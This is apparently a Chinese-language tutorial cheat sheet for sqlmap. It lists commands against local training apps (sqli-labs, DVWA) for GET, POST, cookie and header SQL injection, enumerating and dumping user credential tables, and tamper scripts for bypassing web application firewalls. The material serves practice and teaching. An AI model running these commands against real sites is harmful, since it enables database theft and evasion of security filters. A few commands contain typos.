擷取一個url:
http://localhost/sqli-labs-master/Less-1/?id=1
判斷是否有注入:
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1”
get型注入
檢視所有資料庫:
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” –dbs
檢視目前使用的資料庫:
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-db

檢視目前使用者:
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user
檢視資料表:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security --tables
檢視字段名:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
檢視資料:
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump
post型注入
1.指定post資料:python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/” --data “post資料”
其餘參數同get
Cookie注入
指定cookiepython sqlmap.py –u “http://localhost/DVWA-
master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “…cookie值”
其餘參數同get
如果不掃描cookie參數可嘗試提高等級:–level 1-5
post與cookie舉例:
語句:
python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --data "id=1&Submit=Submit" cookie"security=medium;PHPSESSID=d397avpf1n2jneqsfgo0etqjl6" --current-db --batch
2.指定.txt檔案:python sqlmap.py –r .txt檔案
其餘參數同get
http頭部注入
-r 測速.txt檔案中帶*的注入點
post與Referer舉例:
語句:
python sqlmap.py -r test.txt --current-db --batch
使用sqlmap進繞過waf機制
介紹
sqlmap中的tamper給我們帶來了很多防過濾的腳本,非常實用,通過自帶的tamper,或者自行編寫tamper(路徑:安裝目錄sqlmap\tamper),可以幫助我們繞過waf進行自動化攻擊
使用
指定腳本:
–tamper “腳本名”(“apostrophemask”)
例:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --tamper “腳本名”
常用腳本:
apostrophemask.py:
用utf8代替引号–>(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py :
用base64編碼替換–>(“1’ AND SLEEP(5)#”)‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py:
圍繞SQL關鍵字添加多個空格–>(‘1 UNION SELECT foobar’)‘1 UNION SELECT foobar’
space2plus.py:
用+替換空格–>(‘SELECT id FROM users’)‘SELECT+id+FROM+users’
nonrecursivereplacement.py:
雙重查詢語句,取代predefined SQL關鍵字with表示suitable for替代(例如 .replace(“SELECT”、”")) filters–>(‘1 UNION SELECT 2–’)‘1 UNIOUNIONN SELESELECTCT 2–’
space2randomblank.py:
代替空格字元(“”)從一個随機的空白字元可選字元的有效集–>(‘SELECT id FROM users’)‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py:
替換UNION ALL SELECT UNION SELECT–>(’-1 UNION ALL SELECT’)’-1 UNION SELECT’
securesphere.py:
追加特制的字元串–>(‘1 AND 1=1’)“1 AND 1=1 and ‘0having’=‘0having’”
例:
語句:
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-21/index.php" --cookie "uname=admin" -p uname --tamper "base64encode" --level 5 --dbms mysql --dbs --batchl